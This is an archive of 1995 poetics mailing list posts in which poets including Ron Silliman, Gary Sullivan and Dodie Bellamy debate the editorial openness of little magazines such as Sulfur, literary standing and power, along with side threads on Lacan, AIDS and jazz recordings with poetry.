Dear gary (sullivan)--I just wanted to say one thing about SULFUR...Though I have been rejected by SULFUR far more than I've been accepted (I was only accepted once circa 1991), I do respect Clayton as a conscientious editor who does read works of young and "unknown" poets...In fact, he has often written me quite IMPASSIONED rejection letters, which I certainly prefer to the form letter in which ONE NEVER KNOWS if one's been read.... When he accepted my work, I had published hardly anything outside a more "working class" "beatnik" kind of mag...in terms of 'avant-garde' I had only been published in New American Writing and had an essay appear on Kit Robinson in POETRY FLASH...Sulfur showed an openness to my work that few did...furthermore, this was AFTER it had rejected my work with some "pretty nasty" words.Though I certainly don't consider it an IDEAL magazine, I respect this. Chris Stroffolino

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119. Ron Silliman

Re: Consent of the governing

Fri 7 Apr 1995

Oh, posh, Gary,

I haven't appeared in Sulfur in years and Clayton rejected the last piece or two I sent him (with angry notes about how I wasn't reading him seriously enough).

Sulfur has always published a few younger poets (and Caterpillar before that, which is how I first met Clayton in the late '60s through d alexander, long dead I've heard, a college buddy of Eshleman's who published a great little mag called Odda Tala and who brought me his address book when I first started Tottel's so that I could write to Blackburn and Schwerner). Personally, I've always thought Clayton had dreadful taste in younger poets, even when I was one of them. He's been much better at older, neglected poets. He was one of the first to really push the work of Gustaf Sobin in the US, one of the first to print Dennis Phillips beyond the LA city limits, did really a major job in getting George Stanley's work out many many moons ago. He's totally responsible for whatever audience Gerrit Lansing has in the US (and that alone is a major accomplishment). But most of the younger poets that Clayton publishes you don't remember. The others--the so-called tenured--he prints (myself included whenever that happened) are part of an argument he is making about how poetry in the US should look and be read. When Adrienne Rich abandoned her old formalist modes in the 1960s to take a feminist stance, it was Clayton who published her -- not, say, Anthony Hecht.

But I've never had a small press publisher with even halfway decent distribution, never had a book of my own poems with more 1,000 copies (except for Tjanting, which has had a second edition of 600 to add to the first of 1,000), hardly ever had the same publisher two books in a row, don't get my books reviewed in any general publication, never had a tenure track teaching job (tho admittedly I've turned down a couple that paid less money than I live in), always -- always! --held 40+ hour per week jobs while I wrote, edited, curated reading and talk series "on the side." I've gotten exactly one NEA grant (16 years ago), which I used to fix my teeth, a couple of part time teaching jobs that reminded me of what poor working conditions teachers have and my home town library doesn't even carry my books. In 1986, when two members of the Guggenheim literary panel told me that I had been their "first choice," the oversight committee scratched my name right off the list -- now that's tenure!

And, guess what? I have no real complaints. My publishers have virtually all been wonderful people who were enormously attentive to the inner dynamics of the work itself, who were passionate in their commitment to poetry and to their readers. My books have been great experiences for me. People come up to me on the street and tell me how this or that passage had some moving impact on their lives (one opera composer once showed up at my door to tell me that he hadn't written any music in 3 years until he read Paradise and suddenly had a complete score in his head). I've met many of the most wonderful people on the planet -- more than a few of whom are on this list -- from Nanjing to Vilnius to

the Canary Islands to Tuscaloosa, and have had the opportunity to give readings at some amazing places, like a 12th century chapel under a full moon at midnight in the south of France in a howling mistral. Or the maximum security library at Folsom prison. Or a used book store on Maui. These are experiences and friendships I wouldn't trade for anything.

The life and work of Leland Hickman has always been a great inspiration to me. Lee showed that you could shape the course of writing in this society with just ten issues of a magazine if your sense of what you were doing was strong enough and sensible enough. In his own town, he was never taken nearly seriously enough and I suppose he may have been a "difficult" person as so many of us poets are. The only mistake Lee made was to exclude his own poetry from Temblor. (His _Great Slave Lake Suite_ is a wonderful book, major in every sense that any poem would ever want to achieve. Had Lee hung out with the beats in SF in the 50s or hung with the Rolling Renaissance in the 60s, he'd've been one of the "household name" poets of his generation.) But the idea that Lee or I or anyone else you might think of got where they are through a process of confered seniority bestowed by our seniors is just bunk. Clayton scratched and clawed his little space of the public sphere out of a completely indifferent world. One of the real lessons of life is that audiences are not passed on or down. You build them one reader at a time.

Besides, more people read my work in Stifled Yawn than they do when it appears in Conjunctions. (This is not an exaggeration -- journals like Margin #4/Period(ical) or lyric& or the Impercipient are read passionately and completely by their readers where Conjunctions is skimmed and treated far differently -- I always hear back far more from readers when I publish in smaller mags than when I show up in perfect binding.)

Ron

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120. Mn Center For Book Arts

Re: Consent of the governing

Fri 7 Apr 1995

Gary. Yes poets are humans and subject to all the political and personal manipulations of such beings, which certainly influences who publishes who, when, etc.

and yes the avant-garde is isolated and magnifies, within itself, such power relations.

But do any of us operate solely within this avant-garde world? My other work, which has me working much more widely within an arts & education &

philanthropic community, makes me both more aware of the power moves among various communities, while at the same time less worried about such moves -- how important are they, anyway? Yes, on a personal level, and concerning issues of actual abuse, they are crucial and can be devastating? But on the level of who gets published in Sulfur or by Drogue or Chax or Detour, are we only aware of how important that is in the so-called avant-garde community? When we place such importance on who gets distributed by SPD, what are we saying? Yes, maybe 100 to 500 more copies of a book get distributed, but maybe not? More people see your words on this poetics list than buy a good many of the books carried by SPD. Your generosity in spreading the fine works of Detour Press may ultimately be more important than distribution by SPD. None of us are selling thousands of books to Barnes & Noble -- but would that be such a grand goal, either?

As to Sulfur & Conjunctions, I can't agree with you. I certainly have some major arguments with both, but I also feel that both have read my work carefully, including at times before I had published books. Sulfur has published one piece, an essay on Nichol & McCaffrey which began with a poem of mine. That was a piece I didn't expect them to be interested in, and they surprised me, even including an inventive and funny visual piece from Rational Geomancy. I think the editors of those magazines may have formed their likes & dislikes before you or I began writing, and their openness is certainly limited. But I think they publish works they sincerely admire (no matter how much I disagree with some of those works, or with the overall sense of the mags). I do not believe their first thoughts are the reputations of the writers. Still, I don't particularly like defending them here, when I'd rather speak up for such editors as you and Juliana Spahr and Spencer Selby and others whose work I currently attend to with more desire (that word, that passion, again).

I am apalled at the Tucson story. It's such a small world there that I'm surprised I had never heard that story, despite living there at the time. But there, in a context often seemingly ruled by the academic poetry scene, I existed and paid attention mostly outside that Poetry Center setting, sometimes ignoring it for months and months in a row, thereby somehow personally denying it its power, or perhaps only deluding myself.

all best,
charles alexander

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121. John Geraets

P&P (Prublic&Private)

Fri 7 Apr 1995

Dear Tony thanks for the letter which made me feel a bit curly and famous my name on top in CAPS and all.

Strange how and where things stir responses. My response here was at the weird way in which Public Private are construed - maybe especially on this List, especially lately. Instance, I invite you in Public about your margin/mainstream experience, we talk Private (Backchannel), you reply Public citing my/our Private (Backchannel) exchange. Now I'll send this Public but at the same time send something Private..dunno why.

Mostly we're pretty affable on the List, elbows spread, kind smiling. I like that. Same time, I feel that in this medium bot Public and Private utterances are, as elsewhere, formalized. To me this suggests that the only Private we have is Public. So when I see (in myself, too) the final appeal being a kind of personal indisputable integrity ie. when I claim personal honestly or feeling or integrity or wholeness - it seems to me its not open to challenge, dispute. Our last recourse.

I like what Marcel Broodthaers was doing with his conjectural art museum and his poetry books set in white plaster.

I'm sure confused a bit on this one but I guess in this talk of power and things the one really unassailable one is that of personal integrity.

That's what you got me thinking Tony - not your responsibility for sure, but thanks for your serious fun letter too. I'm very abstract.

(ps as they used to point out in reviews in nz literature, I think Jim Baxter had Colin Durning his Dunedin dentist mate, in mind in Jerusalem writing)

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122. Edward Foster
Re: Consent of the governing
Fri 7 Apr 1995

---

you're absolutely right, gary; there are politics and "tenure" even in poetry, but it's there mostly for those who seek out big publishers and get the jobs, grant, tenure, but the really great poets (bronk, spicer) survive outside. so there's that.

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123. Edward Foster
Re: prevaricating intellectual goo (sex power...)
Fri 7 Apr 1995

---

chris: i hope lacan disappears from poetry forever; i had to teach him in a graduate seminar recently and used his essay on the purloined letter and came out of it feeling that whatever he knew about signifiers he knew nothing about poe.

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124. Edward Foster
Re: poeticslist and Desire
Fri 7 Apr 1995

---

but, ryan, in stein in fact the private is very public. tender buttons? stanzas in meditation? lifting . . . well, you just go on from there.

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125. Joe Amato
Re: Consent of the governing
Fri 7 Apr 1995

---

an outsider's comment: i'm finding the public-izing of what i would have taken to be (formerly) private spaces to be fascinating... gary and ron: in your exchange, you each reveal a good deal about your own publishing experiences, the sorts of things that don't get a lot of air play (i mean, we're talking an audience here of 200 or so), though precisely the sorts of things that are typically discussed twixt practitioners... and this has drawn out commentary by charles a., chris s., etc., along precisely such lines---who publishes whom, what this signifies, etc...

now the point here for me has less to do with the personalities involved (or the journals cited) than with the sort of knowledge thus constituted (apologies for making this a remotely 'theoretical' concern)... this sort of talk has to do with

the nuts & bolts of the marketplace of poetry, hence i feel it fair to observe that an entirely individualistic reading of same (ron, you tend in your remarks toward the individual-communal, insofar as 'success' is concerned) or the more power-oriented discourse (gary, you seem to me to tilt in such directions) represent in fact complementary views of how publishing decisions are made, books get printed, etc... that is, a sort of micro/macro split may be seen to inhere across your exchange, and i'm not really quite certain (pardon my beak) that you're really so "opposed" to each other... it's more like you each seem to be emphasizing a different aspect of the same apparatus (without wishing to deny actual differences between you)...

just an observation, if you will, perhaps entirely beside the point... i have absolutely NO experience with any of the journals/editors/poets you mention other than a few, near-anonymous rejections (as i recall) from some years ago, so i really can't add a helluva lot to the discussion, hence, again, my "outsider" status, and my fascination attending thereto...

joe

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126. Robert A Harrison

poem

Fri 7 Apr 1995

To Not Think of Velvet

I went to 3 rd grade

with Joe Biden's daughter
now

he rides out through ballots
keeping a mouse
in her lap

they're shriveled in color
waiting for your line here

sesames
in the mill
powder balls
on the eye

this place

four switches
as a heart,

run run run

↑ Index

127. Edward Foster
Re: Power
Fri 7 Apr 1995

aside from the obvious exceptions (certain lyric affectations, etc.), is it wise for a poet, at least now, to "consent to be governed" by anyone this side of east mars?

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128. Robert A Harrison
Re> Re: Power
Fri 7 Apr 1995

ed foster sez:

>aside from the obvious exceptions (certain lyric affectations, etc.), is it wise for a poet, at least now, to "consent to be governed" by anyone this side of east mars?

no.

i'd like to believe that. stromboli. pit ribbon. hoe cellar.

pre-palaver moon fitter.

bob harrison

↑ Index

129. Robert A Harrison
power
Fri 7 Apr 1995

"we've got so much power."

--- Negativeland

↑ Index

130. Aldon L. Nielsen
Re: Julius Hemphill
Fri 7 Apr 1995

Jed -- Thanks for word of that tribute piece -- I hadn't heard of it. I don't think _Dogon A.D._ or _Coon Bidness_ have been reissued yet -- I thought they were available because the LP I got from a cut-out bin was an Arista reissue of the

original, and I expected it was still part of the catalogue after Arista re-aligned with Columbia years ago. Maybe it will reappear one of these days.

Several years ago, Hemphill did a residency in D.C. with District Curators, culmianting in a free outdoor performance of his compositions by a huge gathering of talented volunteer instrumentalists. (culminating, too -- I'm back on that uncorrectable keyboard again)--

I've been collecting recordings of jazz with poetry, and a chapter on the subject will be in a book I'm doing with Cambridge. I love the Hemphill Big Band sessions, though I'm not thrilled by the poem by my neighbor K. Curtis. I'm told the new Henry Threadgill recording has a poem on it. Have you heard that one yet? Would be interested in hearing from anyone who knows of lesser-known recordings of jazz with text. An old one I stumbles across recently is a setting of an Elouise Loftin poem by Andreww Cyrille.

Anybody out there heard Steve Lacy's songs made from Creeley poems?

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131. cris cheek
poeticslist and Desire
Fri 7 Apr 1995

'money' was and is a 's/he' character in a story? can we invest a little more - i'd love to go shopping here. i'll trade these 39 odd words (one word each lived year) whatever you care to offer in return.

↑ Index

132. Aldon L. Nielsen
Re: Governing Consent / The Descent of the Governed
Sat 8 Apr 1995

"I stumbles?" "I" stumbles? This machine draws my attention to the oddities of my own language -- BUT

RE _Sulfur_ etc. -- My understanding, gathered from the few newer poets (which is not to say younger) I know who have been published in _Sulfur_ is that most of them got in by way of one of the contributing editors -- Those who had sent poems directly to Clayton generally received intemperate replies, though, as some have pointed out here, he occasionally takes a liking to something in the unsolicited pile & runs with it, about once a year by my estimation.

It's about as silly to expect him to act differently as it is to tell writers not to take note of the fact. The point is to do something otherwise, which many on this list are doing.

The Beats, the Language Poets, Black Mountain, all knew that they had little to expect from any of the journals on the scene when they began (including the more self-avowedly "open") -- and so began many of their own publishing organs (& now that they're old and powerful, I read here, they publish their organs) --\

When I started _lower limit speech_ I quoted what I had once heard Baraka reply to a young writer who asked what advice he had for young writers. Baraka told the fellow, "Get a copying machine and start a mag." I knew that there were many remarkable writers around the country who had the same difficulties publishing that I had encountered. The obvious answer was to try, in no matter how small a way, to get their work into circulation.

None of this, though, means that we should stifle our criticism of those who have grown comfortable and resistant. We are to afflict the comfortable -- (odd grammar that)

Example, Weinberger's self-righteous intro. to his special issue of _Sulfur_ wherein he claims that the younger generation just isn't interested in histroy & offers as proof the fact that he got so few responses to his open call for the issue, a call that went only to readers of _Sulfur_. History, that is, and translation. It;s easy, if you don't read or correspond with younger poets who are avid students of history and frequent translators of poetry, to argue that they're a pathetic group of ahistorical monolinguists. (I exaggerate Eliot's case slightly, but if you've read his frequent intros & essays you know what I refer to ((he seems to use the words "never" and "only" far more than any other critic I know)) I suppose it might be hard in a footnote to make an offer of proof that something "never" happens, probably why most of us are a bit more cautious.

So, Ron gets published in print runs that are considerably smaller than those of, say, Sharon Olds, and that are considerably larger, and more frequent than those of, say, ME. On the other hand, Ron is a writer of continuing importance to my reading in ways that Olds clearly is not, and Ron, unlike Clayton, seems to take every opportunity that affords to bring to the attenbtion of whatever public he can get to the names and works of interesting pots who don't have even his limited access to publishing opportunities.

As to tenure, in all senses, etc. I find it fascinating, in the H. Ross Perot usage, that the Language Poets were already accused of being in the game of trying to get cushy academic posts long before any of them had gotten hired by a university in a permanent position. Last time I checked into this, most of those who had gotten university jobs were _not_ hired to teach in the creative writing programs. I took a different route, and became an Assistant Prof. at a low=rent school (after 17 years and 17 non-teaching jobs) completely apart from my work _as_ a poet (I was hired as a critic and lit. historian) -- Ron & I both have jobs,

at least, and can make time to write. Most of us on this list are in one way or another involved with the creation and development of self-governing, consensual postics networks,,,, and that is where we should look for the new -- I read, and fulminate at, _Sulfur_ , but that's not where I look to find new poets -- _Here_ is the place for the new writings to get mentioned, circulated, reviewed, denounced, praised, re-engendered

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133. John Byrum
Re: Consent of the governing
Sat 8 Apr 1995

power is powerful only within certain contexts, & then only when persons pay attention (grant power).

When power is ignored, is the center (person) of that ignoring then outside that "powerful" context (with the result of seeming "powerless"), or perhaps asserting power in a different sphere? (perhaps often in a "personal" sphere only.)

So, can one ignore power in one area in order to open a space for one's "personal" empowerment, perhaps simply in order to produce something? And then to who or what does that production speak?

Follow the power, deepthrought said. Maybe we should just think & talk about stuff. Power is illusory (ill storied).

John

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134. John Byrum
Re: Consent of the governing
Sat 8 Apr 1995

no outside, only concentric/amoebic hazes trailing off

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135. Sheila Murphy
pow(d)er
Sat 8 Apr 1995

It's real and not real and one of those seductive things containing mostly imagined substance that seems very real from certain angles with a prism in the way. Paying attention in another way and toward a realer thing ironically yields power when perhaps you least desire it (there it is)

SEM

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136. Gary Sullivan
Posh, delusions & spite
Sat 8 Apr 1995

"Surely, Kelly's affirmation that 'we cherish the poem as a life- sustaining force' was intended to mean more than tenure. But does it?" --Ron Silliman, "The Soft Hello," _Salt Lick_ vol. 2, nos 1-2.

Ron, Joe Amato may be right when he suggests that you & I are -- despite my "don't tell me" and your "oh, posh" -- not, finally, in complete disagreement. You say that people really *read* the photocopieds more often than the printeds. Isn't that what I've been saying? Only, you seemed to have misread that (beginning w/the usage of the word, "tenure") and came to the conclusion I was suffering from acute "resentment of imagined exclusion." Are the other people who prefer _Mirage_ to _Sulfur_ suffering the same? Why *don't* they more than skim mags like _Conjunctions_ or _Sulfur_? You say: "Clayton scratched and clawed his little space of the public sphere out of a completely indifferent world." Of course he did. How else would he ever have come to our attention? (Ed cites Spicer and Bronk, and here I'd mention the people who scratched & clawed on their work's behalf.) If one must "scratch" and "claw" their way to readers, does that seem more to suggest a generally "open" or generally "closed" system? All I was saying, in my initial post, was that the journals that are more open to newer writers (to more than one or two a year) are more interesting to me. For that, you call me deluded and spiteful. Then, a post later, agree with me. Tough love? You claim no tenure, and say, in support of that, you've not had many publishers publish more than one book by you, as though having a dozen presses ready, willing & able to publish your work is somehow a "minus." You're tenured, Ron; accept it. I'm not calling you a dirty name by calling you tenured; I'm merely pointing out a blessing. Your resistance to this has been surprising; it really isn't that big a deal, & I never intended to make it one. I was, last post, simply bringing you up as an example of someone whose work will be read at _Sulfur_ or _Conjunctions_. They are both different magazines, but they are both, *relatively* speaking, closed doors to work by newer writers. As work by newer writers is one of my primary obsessions, I'm less interested in them than in magazines that publish a lot of the stuff. For my purposes, I don't need _Sulfur_ or _Conjunctions_. Most of the work in them will be in book form not long after publication in the mags, anyway, so why should I pay twice? Marta & I just saw _Hoop Dreams_ tonight. Anyone who thinks poets have it tough ought to see what these kids go

through, are put through, in pursuit of *their* goals. Incredible. Yours, Gary

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137. **Spencer Selby**
Re: Consent of the governing
Sat 8 Apr 1995

Dear Ron,

Excuse me for jumping in again, but I am so surprised at what you are saying. Do you think yr name, yr reputation, yr cred, yr body of published work don't count, and count for a lot at this stage? Do you think that the only thing publishers consider when you send them a ms. is the actual writing on its pages?

In yr most recent post you paint this picture of yourself with some details that might seem to disprove the idea that you have in some way established yourself. Why else say that you are never published by the same publisher twice or that yr books never are printed in runs of over 1000? All this means is that you're still operating in the avant garde poetry world (where print runs are never more than 1000 and where repeat publishers may not even be preferable). It does not mean that you don't have a very large rep in that world and that you don't get a big benefit from that rep. Correct me if I'm wrong, but I think you've had more substantial books published in this world in the last 15 or so years than anyone else. I would think this would be a more pertinent fact than yr points about print runs and not being published by the same publisher twice.

Please don't misunderstand me. I very much respect you and yr work. And I'm not saying that that work has nothing to do with yr standing. However, I think it's wrong for you to deny that standing--for the sake of an argument or for whatever reasons you may have.

Another thing that puzzles me is yr point about Sulfur (a mag that I too appreciate, along with Talisman, Mirage and others). Yr reasoning there doesn't seem right, since some friction is a part of Clayton's relationship with many people that are still within what might be called his sphere of mutual appreciation and support. For the record, I would consider myself within that sphere, though of course I cannot speak for Clayton, and I do not know if he would agree with this assessment.

Lastly, I would like to thank you for bringing up the memory of Lee Hickman. Lee was indeed extraordinary, and Temblor truly did make a mark. It's just my opinion, but I believe the big reason for this was Lee's heroic integrity. He took

his job as editor/publisher so seriously, and he gave incredible attention to virtually all the work that was sent to him while Temblor was going. Lee's commitment to poetry was definitely above and beyond the call, and everyone today could benefit from remembering what he did and how he touched so many.

Yrs, Spencer

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138. Pierre Joris
Re: Julius Hemphill
Sat 8 Apr 1995

---

writes anon:

> *Anybody out there heard Steve Lacy's songs made from Creeley poems?*

yes. I wa slucky enough to be at the ur-performance at the Festival de Lille where the combination of the music, the dance & Kenneth Noland's stage set/painting made for one of the greatest jazz experiences I had.

BTW, for those on the list in driving distance, on April 18 at 8:00 p.m. Steve Lacy & Irene Aebi will be giving a concert in Page Hall here in Alabany, Nueva York. & it's free!

Pierre

========== Pierre Joris | He who wants to escape the world, translates it. Dept. of English | --Henri Michaux SUNY Albany | Albany NY 12222 | "Herman has taken to writing poetry. You tel&fax:[redacted] | need not tell anyone, for you know how email: | such things get around." [redacted]| --Mrs. Melville in a letter to her mother. ==========

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139. Pierre Joris
Re: Posh, delusions & spite
Sat 8 Apr 1995

Lawdie Lawd, Gary, why split so many hairs & get your knickers in an either/or twist. I want there to be, so that I may read them, Sulfur AND Talisman AND Conjunctions AND every small magazine that is being put out. They obviously have different functions, different aims, different possibilities. They also have different dross. I read maybe 1/5 of any given issue of Conjunctions, & the same

holds true for most small new mags (though it's easier to read all or most of them because they tend tyo be much smaller...). Since the invention of the mimeograph there has been no reason to bitch at whatever you can't control or have access to. Just cranck that handle.

Pierre

========== Pierre Joris | He who wants to escape the world, translates it. Dept. of English | --Henri Michaux SUNY Albany | Albany NY 12222 | "Herman has taken to writing poetry. You tel&fax:[redacted] | need not tell anyone, for you know how email: | such things get around." [redacted]| --Mrs. Melville in a letter to her mother. ==========

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140. Ron Silliman
Standing
Sat 8 Apr 1995

Spencer Selby wrote:

"Correct me if I'm wrong, but I think you've had more substantial books published in this world in the last 15 or so years than anyone else.... I think it's wrong for you to deny that standing"

As sweet as it is to read such things, the operative phrase in your argument, Spencer, is "I think...." Obviously Eliot Weinberger doesn't agree with you and I doubt Gertrude Schnackenberg or Amiri Baraka would and there's no particular reason to think that even a handful of people on this list would agree.

This isn't to "deny that standing" but rather to be specific about what that standing is. My work plays a particular role in a subjective map you have of recent poetry (and I'm flattered by that role, I admit), but there's nothing objective about that map. There are literally thousands of alternative maps floating in the heads of other readers. One reader, one map is the ratio I see and I certainly know that it's possible to hold somewhat different maps at different times of day, different days, different months. One thing I do know is that my work doesn't play any role even remotely like the one you pose in your map within my own map(s). [I've been living in the Age of Watten myself, but that's another story....]

When several readers hold maps with significant amounts of overlap, communities of reading can form and build on these foundations one way or another. But there's still nothing particularly objective about it and positing it

as such I think sets in motion exactly the sort of reified literary surface that causes somebody like Gary to feel that it's a (hostile) solid object and impenetrable. In reality, it's much more like an ever shifting dream state.

And we've all seen just how invested in creating such sorts of solid objects the likes of a Helen Vendler or Harold Bloom or Hilton Kramer can be. That's all nonsense, but when institutions and money get involved it can become quite sinister. (And what Deep Throat said was not "follow the power" but "follow the money".)

My point in my previous post was to distinguish (however poorly) between editors (like Clayton & Brad) who are driven by individual/private motives and those institutions (like the Guggenheim, most academic teaching jobs, trade and university presses, and a broader circle of wannabe institutions, like Poetry Flash) that are INSTITUTIONALLY & BUREAUCRATICALLY DRIVEN and every bit as much of a closed world as any posed by the limits on reading of a given editor.

I think (to use that operative verb phrase) that you make a real mistake when you confuse the engines of your subjective map with those institutional engines of economic power. Hank Lazer has written some extraordinary pieces on how those engines function in poetry today and Jed Rasula has done likewise (and even published them in Sulfur).

Whatever substance there may be in my books or in anybody's books who works through what you call "the avant garde," it is not the substance of economic institutions. So that when a Joe Brainard gets picked up by a trade publisher, there is a meta event occuring as the work takes on a new life very different from that which the author envisioned during the writing process. (And it's a damn shame that Joe did not live to see this.)

I've been wondering about the stratification of institutionality that has been posited in these postings by Gary and some others. I think that what Brad and Clayton are doing is much closer to the impulses of Kevin Killian/Dodie Bellamy and Gary Sullivan than they are to the impulses that drive the Yale Younger Poets or Iowa Writers Workshop or the Pulitzer nominations committee. When I grew up as a young poet, there were fewer layers to sort through, but that doesn't mean that we should collapse them into the same old boring Them & Us. We're all Us (and, conversely, we're all Them too).

Love,
Ron

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141. Colleen Lookingbill
Re: Standing
Sat 8 Apr 1995

It would seem from reading this last weeks posts that power and denial are directly linked. Ron and Rae who are more in the position than others in the discussion are most denying of it! What is the old "s/he who protests too loudly" quote?

Having worked for Pacific Bell in a variety of management positions for fifteen years now, I see little difference in the power "games" of our little poetry world - it used to shock me, but not any longer. Both worlds assume that if you are not "playing the game" of political power and influence (it doesn't matter what that means in terms of the larger outside world - PB managers have no real effect outside of their power spheres either) you are either stupid or weak or rebellious - none of which are the earmarks of success. It must be a great help not to know you are playing!

For those of us who are neither emotionally nor idealogically equipped to "play" we learn our own ways, which sometimes are successful, but more often not nearly as advantageous in terms of the reward system. - Colleen

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142. Edward Foster
Re: poeticslist and Desire
Sat 8 Apr 1995

money, honey, isn't me, but only joy, empirically; honey's golden, money's green--green, green, i long for green, said lorca and was not obscene, tho in that poem fully seen. (after, jack would lose himself in the hearts of . . .)

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143. Edward Foster
Re: Re> Re: Power
Sat 8 Apr 1995

as jack said: "loneliness is necessary for pure poetry." and also: at a bar, speaking with poets, "we will try to destroy each other or even listen to each other and nothing will happen because we will be speaking in prose." power?

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144. Kevin Killian
Leland Hickman, Joe Brainard
Sat 8 Apr 1995

Spencer Selby says that "everyone today could benefit from remembering what [Leland Hickman] did and how he touched so many." Ron Silliman says that "it's a damn shame that Joe [Brainard] did not live to see [the reprint of his book "I Remember" by Penguin]".)

We could all benefit from remembering that these two great angels of poetry died from AIDS. I know we're all AIDS'd out in many ways but the word itself only gains in potency from not being mentioned.

We could also admit that we are living in the age of HIV and that all our writing is AIDS writing whether we know it or not. I know this is my own particular King Charles' head but here I go again. I'll paraphrase myself (and Sarah Schulman) again when I add that history will judge us not by our publication record in Conjunctions or anywhere else, nor if we ever publish another poem again, but on how we responded to this plague in our own terms in our own lives. Can I recommend to you all Aaron Shurin's work on a poetics of AIDS which has been appearing here & there, most notably in the latest issue of Apex of the M, edited by Lew Daly, Alan Gilbert, Kristin Prevallet and Pam Rehm?

Later. I sound like an old nag here but, that's Cassandra speaking through me, not the "real" Kevin Killian. I'm interested in the debate about power (standing, sexuality, harassment, desire) & please let it continue swirling around me.

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145. Gary Sullivan
Re: Posh, delusions & spite
Sat 8 Apr 1995

On Sat, 8 Apr 1995, Pierre Joris wrote:

> *Lawdie Lawd, Gary, why split so many hairs & get your knickers in an either/or twist.*
> *...Since the invention of the*
> *mimeograph there has been no reason to bitch at whatever you can't control or have access to.*

Lawdie Lawd, Pierre, to paraphrase Stein: "Why can't you read what I've written?" I'm not bitching; I'm stating a preference.

"Splitting hairs" I'll totally admit to. Most everyone who's added to this discussion has done that, too. So what?

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146. **eric pape**
Re: SEX!, just to get your attention.
Sat 8 Apr 1995

1)Chris -- Actually, I think there is a lot of Lacan in my last posting, but a Lacan deliberately misread by feminists and others interested in gender. This is a Lacan I am particularly interested in. As for the phallus, I am much more interested in what he says about the object of desire when he says WOman does not exist, which we must recognize from a male heterosexist pov, in that the object of desire as fantasized by those who have the phallus, ie, the person who desires, does not exist as fantasy. But of course this assumes that the object of desire is always feminine and the desirer always masculine. Can we assume that now? 2) Ed: What does it mean to know Poe? Does it mean like, Hey Eddy, saw yourRaven thing last week. You must have been high when you wrote that! Which is unfortunately about as far as you get with some critics. Lacan's reading is only as valuable as it is a use. But can you think of any reading that is not a use? And isn't the point of Lacan in that particular essay that use always has a position? My thought would be that one must always take responsibilty for their position,for their use. This is not, I must say, Lacan's point. 3) Lindz: I am gratefull to you if only because you focused in on what I had to say about poetry. I would emphasize though that I am not advocating a path away from the merely personal, but simply to say that such a thing is not possible. There is no merely personal. I am interested in the sexing of poetry. Remember that WIttig says that language is gender neutral, but immediately says that to say that is relatively meaningless because we are gendered and thus gender everything else. I am interested in this proccess of gendering, and how it is essentially about fictions, it seems to me. This I think has enormous implications for how we read and how we write. Implications that have not been explored in poetry. Thanks, Eric.

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147. **Kevin Killian**
Re: Standing
Sat 8 Apr 1995

> *I've been wondering about the stratification of institutionality that has been posited in these postings by Gary and some others. I think that what Brad and Clayton are doing is much closer to the impulses of Kevin Killian/Dodie Bellamy and Gary Sullivan than they are to the impulses that drive the Yale Younger Poets or Iowa Writers Workshop or the Pulitzer nominations committee.*

Ron,

I can't speak for Kevin (is that clear to everybody--my opinions in no way necessarily reflect Kevin's opinions) but I think the openness and beneficience that drives Mirage's editorial policy (which is mostly Kevin's doing, I'm rather lazy in my input) is anything like Sulfur and Conjunctions. Both magazines, by the way, rejected me (that is, I think I was rejected by Conjunctions--no one ever bothered to write back to me) so I'm certainly not objective about them. I'd heard of Clayton's long "thoughtful" resonses to work, but to my piece he jotted a note saying he liked parts but it just went on and on. I guess I chatter away too much in my work. You, know, Ron, women have a history of rambling on and on about silly things. But, I know you don't feel that way. I think you're a great guy.

Dodie

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148. Kevin Killian
Re: Standing
Sat 8 Apr 1995

Oops, I had a typo in my last posting. The following line should read:

I can't speak for Kevin (is that clear to everybody--my opinions in no way necessarily reflect Kevin's opinions) but I think the openness and beneficience that drives Mirage's editorial policy (which is mostly Kevin's doing, I'm rather lazy in my input) ISN'T anything like Sulfur and Conjunctions.

Dodie

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149. Loss Glazier
Question I received
Sat 8 Apr 1995

Got this question on the wire and wondered if anyone might know offhand?

Thanks, Loss ---------- Many years ago, I read a poem by Neruda in translation. It was about how different animals would prefer to be different creatures. It also contained phrases like 'unlikely skin of the crocodile' and 'volcanic frauds of the earth.' If you know which poem this is, I would be most grateful if you would let me know.

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150. Kevin Killian
The mysteries of the mysterious menses
Sat 8 Apr 1995

So, how about a story, everybody. Well, several years ago there was this graduate creative writing student at SF State who had never been published. He was ten years younger than me and really eager. Anyway, he showed me a poem he had written about having sex with a woman during her period, with dark lurid descriptions of her menstrual blood. Not for the squeamish. Now, Clayton E. happened to have read here in SF at Intersection not long before this--and I noticed in CE's work a certain fondness for menstrual blood. So I told my young friend to submit his poem to Sulfur--and guess what, it was snapped up immediately! Coincidence?

You tell me. Maybe you guys should reconsider what you're submitting.

Dodie Bellamy

↑ Index

151. cris cheek
poeticslist serve and desire
Sat 8 Apr 1995

---

moonish and homing would-be sleep to polish gold of sticky empires. gras-sy grass grass, denial moulds. when i feel like a slop on the mat it must be that aura of power I re-distribute . . . 'especially for the Jape of hearts'

↑ Index

152. Stephen Galen Cope
Re: Julius Hemphill
Sat 8 Apr 1995

Aldon-

Threadgill's new disc has a couple of poems, with Mossa Bildner (introduced on 'Song Out of My Trees') and Sentienla Toy on Vocals. And liner 'poems' more than notes...

Other discs that come to mind re: jazz and text:

Jayne Cortez and the Firespitters (featuring Denardo Coleman, Al McDowell, Charles Moffett Jr. and Bern Nix) was released in Eurpoe by Radio Bremen in 1994 (and subsequently put

out by Tradition & Moderne and Indigo Records, all, I think, in Eurpoe).

Joseph Jarman's 'Song For' (on Delmark, 1991) features his reading of 'Non-Cognitive Aspects of the City' (with Thurman Barker, among others).

George Lewis also did that disc for New World (last year?) that features Jerome Rothenberg, Quincy Troupe and Bernard Mixon reading...

I'm sure there's others, but these off the top of my head...

Hope it's of use...

-Stephen Cope

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153. Chris Stroffolino

Re: The mysteries of the mysterious menses

Sat 8 Apr 1995

The messages from kevin from dody...Oh I get it and to top it off in NYC Diane Ward reads a poem that says "I want to be Dodie"(I spelled it wrong above). Dear Dodie, so why did Andrew Levy end up NOT calling his book the "THE MYTH OF THE NOT HER BLOOD"--maybe it has something to do with sulfur. Chris Stroffolino

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154. Steve Evans

Espousing 4/8

Sat 8 Apr 1995

CONTENTS:

+ REP. HANCOCK OF MISSOURI, BACKLASH AGAINST OSCAR SPEECHES & POETRY GRANTS
+ THE PEOPLE!YES PETITION DRIVE
+ ONE PERCENT FOR CULTURE ACT
+ CLINTON'S REMARKS UPON TRANSMITTING NEA 1993 ANNUAL REPORT TO SENATE
+ CPB UPDATE (FROM 24 MARCH)
+ TRANSCRIPT OF CBS NEWS BROADCAST (from Congressional Record)

